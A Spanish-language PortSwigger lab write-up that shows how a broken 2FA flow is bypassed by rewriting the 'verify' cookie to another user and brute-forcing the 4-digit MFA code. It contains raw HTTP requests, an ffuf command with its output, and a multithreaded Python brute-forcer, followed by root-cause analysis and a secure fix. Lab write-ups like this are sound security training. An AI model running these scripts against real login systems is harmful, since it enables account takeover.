← Writeups

2FA Broken Logic — Brute-Forcing the MFA Code — PortSwigger Lab

Bypass de 2FA manipulando la cookie verify hacia carlos y brute-forcing el código MFA de 4 dígitos sin rate limit.

2FA Broken Logic

1. Target Overview & Vulnerability Summary

Campo Valor
Severidad Alta
Endpoint vulnerable POST /login2
Root cause La identidad del segundo factor se deriva de la cookie manipulable verify y el endpoint de validación del código no aplica rate limit ni invalidación por intentos

El flujo 2FA almacena el usuario pendiente de verificación en la cookie verify. La cookie es manipulable, de modo que el paso MFA se puede dirigir contra carlos. Además, el endpoint /login2 no limita los intentos, permitiendo brute-forcing del código de 4 dígitos.

2. Technical Breakdown & Exploitation Flow

2.1 Manipulación de la identidad del paso MFA

Se autentica con las credenciales propias y se captura la respuesta del primer paso:

POST /login HTTP/2
Content-Type: application/x-www-form-urlencoded

username=wiener&password=peter
HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=1hJRy2e9nR6MT98bkcrWerzliIwxL244; Secure; HttpOnly; SameSite=None

La cookie verify (sin valor cifrado, solo el nombre de usuario) se modifica a carlos:

HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=carlos; HttpOnly
Set-Cookie: session=1hJRy2e9nR6MT98bkcrWerzliIwxL244; Secure; HttpOnly; SameSite=None

El código enviado por correo a wiener no es válido para la identidad falsificada, así que se opta por brute-forcing del código.

2.2 Fuerza bruta del código MFA

Generar el wordlist 0000-9999:

for i in {0000..9999}; do echo $i; done | tee number00009999.txt

Enviar el código con las cookies session + verify=carlos, filtrando la respuesta Incorrect security code:

POST /login2 HTTP/2
Cookie: session=1hJRy2e9nR6MT98bkcrWerzliIwxL244; verify=carlos
Content-Type: application/x-www-form-urlencoded

mfa-code=FUZZ
~/go/bin/ffuf -request enum.txt -w number00009999.txt:FUZZ -t 1000 -c -fr "Incorrect security code"

Salida:

0032                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 190ms]

El código 0032 devuelve 302 Found (autenticación 2FA completada para carlos).

2.3 Variante con Python

Implementación multihilo equivalente que lanza los 10.000 códigos con una pausa de 50 ms:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def sendRequest(url, cookie, number):
    loginData = {'mfa-code': number}
    print(f'[*] Trying number: {number}', end='\r')
    loginRequestText = requests.post(url, cookies=cookie, data=loginData).text
    if 'Incorrect security code' not in loginRequestText:
        print(f'[+] Found security code: {number}')

def main():
    url = 'https://0ab70082049cd0348251387f00ec0010.web-security-academy.net/login2'
    cookie = {'session': 'yVEDSZmHbdRymiemDceF5GldatHoDItn', 'verify': 'carlos'}
    listNumbers = [f'{i:04d}' for i in range(10000)]
    for number in listNumbers:
        thread = Thread(target=sendRequest, args=(url, cookie, number))
        thread.start()
        sleep(0.05)

if __name__ == '__main__':
    main()

3. Root Cause Analysis

Dos defectos encadenados:

  1. Unencrypted/binding-less identity cookie: la cookie verify contiene la identidad sin firma ni vínculo con la sesión, permitiendo reasignar el paso MFA a cualquier usuario.
  2. Missing rate limit on the MFA endpoint: /login2 acepta intentos ilimitados, haciendo viable el brute force del espacio de 10.000 códigos.
# Implementación vulnerable
# POST /login2
verify_user = request.cookies["verify"]            # ❌ Identidad controlable por el cliente
if valid_mfa(verify_user, request.mfa_code):       # ❌ Sin rate limit ni invalidación
    session.user = verify_user
    redirect("/my-account?id=" + verify_user)

4. Secure Remediation

Derivar la identidad del paso 2FA de la sesión del servidor y limitar los intentos:

# Implementación segura
# POST /login (paso 1)
server_state[token] = {"user": username, "mfa_code": generate_secure_code()}
redirect("/login2", Set-Cookie="mfa_state=<token>")   # Token aleatorio, no el username

# POST /login2
state = server_state[request.cookies["mfa_state"]]
if state.user != session.user or invalid:
    deny()
if rate_limit_exceeded(state.user, request.ip):
    deny()
if valid_mfa(state.user, request.mfa_code):
    session.mfa_verified = True
    invalidate(state)
    redirect("/my-account")

El código debe tener expiración corta, invalidarse tras N fallos (5-10), rotarse por intento fallido y nunca devolverse al cliente como parte del estado.